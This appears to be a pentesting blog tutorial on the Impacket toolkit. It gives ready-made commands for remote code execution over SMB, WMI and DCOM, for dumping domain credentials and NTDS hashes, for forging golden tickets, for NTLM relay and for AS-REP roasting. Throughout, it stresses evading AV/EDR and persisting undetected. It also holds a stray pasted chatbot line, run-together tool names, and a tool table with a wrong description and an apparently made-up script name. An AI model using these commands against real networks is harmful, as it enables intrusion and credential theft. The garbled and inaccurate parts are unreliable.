Impacket for Pentesters: Weaponizing the Protocols

Impacket is a collection of Python classes developed by SecureAuth for working with network protocols. But for pentesters, it’s much more — it’s a Swiss Army knife for abusing Microsoft protocols, performing network attacks, and dumping credentials.

Think of it as a set of ready-made weapons for:

  • Authenticated attacks (SMB, RDP, MSSQL, WinRM, etc.)
  • Credential dumping and reuse
  • Remote code execution
  • Lateral movement and domain dominance

Impacket makes the boring stuff look cool and the hard stuff look easy.

To install Impacket:

git clone https://github.com/fortra/impacket.git
cd impacket
pip install .

Make sure you’re in a Python virtual environment, and have the right dependencies (like python3-dev, pip, etc.).

Let’s go over the most useful tools in Impacket — what they do, when to use them, and common usage examples.

psexec.py DOMAIN/user:pass@target
# Executes commands as the user remotely using SMB service (like PsExec)

Use when:

  • You have valid creds (plaintext, hash, or ticket)
  • You want a semi-interactive shell over SMB
wmiexec.py DOMAIN/user:pass@target
# Quieter than psexec, good for evading AV/EDR

Use when:

  • You want to fly under the radar
  • Psexec or SMB is blocked/logged heavily
smbexec.py DOMAIN/user:pass@target
# Uses a service-based method, sometimes bypasses command restrictions

Use when:

  • You want a more stable shell
  • You want another method in your post-exploitation toolkit
secretsdump.py DOMAIN/user:pass@target
# Extracts NTLM hashes from a target over SMB

Other usage:

secretsdump.py -system SYSTEM -ntds NTDS.dit -hashes lmhash:nthash LOCAL
# Offline hash extraction

Use when:

  • You want credentials to use for pass-the-hash, cracking, or reuse
  • You compromise a Domain Controller and want to dump all domain user hashes
lookupsid.py DOMAIN/user:pass@target
# Maps SIDs to names; great for enumeration

Use when:

  • You want to discover valid usernames
  • Enumerating privilege levels remotely
rpcdump.py target-ip
# Shows bindings and interfaces for RPC, useful for service discovery

Use when:

  • Looking for vulnerable RPC services
  • Preparing for targeted abuse of DCOM or other RPC-based services
dcomexec.py DOMAIN/user:pass@target
# Uses Distributed COM for execution

Use when:

  • SMB and WMI are locked down
  • Bypassing certain EDRs
smbclient.py DOMAIN/user:pass@target
# Interactive SMB shell to upload, download, list files

Use when:

  • Dumping files from exposed shares
  • Uploading payloads
ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-... -domain corp.local -user Administrator
# Creates a golden ticket

Use when:

  • You’ve compromised the krbtgt hash
  • You want persistence or domain-level access without detection
gettgt.py -dc-ip <DC> domain/user:pass
# Gets a TGT from the KDC
getST.py -dc-ip <DC> -spn service/FQDN domain/user:pass
# Gets a TGS for a specific service

Use when:

  • Doing Kerberoasting manually
  • Using custom tickets in pass-the-ticket attacks
ntlmrelayx.py -tf targets.txt -smb2support
# Set up a relay server to capture and relay NTLM credentials

Use when:

  • You can get a victim to authenticate to your machine (e.g., via Responder)
  • Relaying to SMB, LDAP, or HTTP

Here’s Section 11 from your Impacket post, ready to copy and paste:

getnpusers.py corp.local/ -no-pass -usersfile users.txt -dc-ip 192.168.56.101
# Dumps crackable AS-REP hashes for users with 'Do not require Kerberos preauthentication'

Use when:

  • Enumerating users for password cracking
  • Conducting AS-REP roasting attacks against misconfigured accounts
  • Combine Responder with ntlmrelayx.py for NTLM relay attacks.
  • Use secretsdump.py on a compromised DC to fully own the domain.
  • Chain tools together in post-exploitation: e.g., lookupsidpsexecsecretsdump → golden ticket with ticketer.

Blue teams should monitor:

  • Unusual SMB traffic (135, 445)
  • NTLM relay patterns
  • LSASS access or DC sync attempts
  • Kerberos ticket anomalies

Impacket isn’t just a toolkit — it’s a language for network abuse. Learn it well and you’ll move through networks like smoke. Combine it with enumeration, lateral movement, and privilege escalation strategies and you’ve got yourself a full red team stack.

ToolDescription
addcomputer.pyAdds a computer to the domain using credentials. Useful for RBCD and delegation attacks.
atexec.pyExecutes commands on a remote host via Task Scheduler (like PsExec).
dcomexec.pyExecutes remote commands via DCOM. Alternative lateral movement technique.
dpapi.pyDecrypts DPAPI secrets like credentials stored locally on Windows.
esentutl.pyConverts Windows .dit database files to CSV (e.g., NTDS.dit extraction).
GetADUsers.pyQueries and dumps Active Directory user info via LDAP.
GetNPUsers.pyKerberoasting technique: Gets AS-REP hashes for accounts without pre-auth.
GetUserSPNs.pyKerberoasting: Finds service accounts with SPNs and dumps their TGS hashes.
kintercept.pyCaptures and displays Kerberos traffic from a target.
lookupsid.pyTranslates SID to usernames or groups remotely.
mimikatz.pyA Python version of mimikatz functions (limited).
mqtt_check.pyMQTT protocol testing tool.
netview.pyEnumerates shares and sessions on a remote machine (via SMB).
nmapAnswerMachine.pyResponds to Nmap probes with fake services (for honeypots/testing).
ping.pyICMP echo requests using pure Python (no system ping dependency).
psexec.pyClassic PsExec-like remote command execution over SMB.
rbc2attack.pyExploits Resource-Based Constrained Delegation attack paths.
rdp_check.pyChecks if a system has RDP enabled and reachable.
reg.pyInteracts with the Windows registry remotely over SMB.
rpcdump.pyDumps RPC endpoints and services from a target.
sambaPipe.pyDemonstrates usage of Samba named pipes.
samrdump.pyDumps SAMR info (users, groups, etc.) from remote systems.
secretsdump.pyDumps SAM hashes, LSA secrets, and cached credentials remotely.
smbclient.pyCLI SMB client (like smbclient from Samba suite).
smbexec.pyLike psexec.py but uses services for command execution (more stealthy).
smbrelayx.pySMB relay attack tool (deprecated in favor of ntlmrelayx.py).
sniffer.pyPacket sniffer for sniffing protocols supported by Impacket.
sniff.pyLegacy version of sniffer.
split.pySplits PCAP files by session.
ticketConverter.pyConverts Kerberos tickets between formats (ccache/Kirbi).
ticketer.pyCreates forged Kerberos TGTs/TGSs (Golden/Silver Ticket creation).
trafficrelay.pyTCP traffic relay, useful for redirecting connections during attacks.
wmiexec.pyExecutes commands remotely using WMI (stealthy, no service creation).
wmiquery.pyExecutes WMI queries against a target.
wsdump.pyDumps WebSocket messages.
xdrlib.pyTool to parse XDR data (less commonly used).
  • secretsdump.py
  • psexec.py, smbexec.py, wmiexec.py, dcomexec.py
  • GetNPUsers.py, GetUserSPNs.py, ticketer.py, rbc2attack.py
  • ntlmrelayx.py (most used — comes with its own options)
  • smbclient.py
  • lookupsid.py
  • reg.py, samrdump.py

Scroll to Top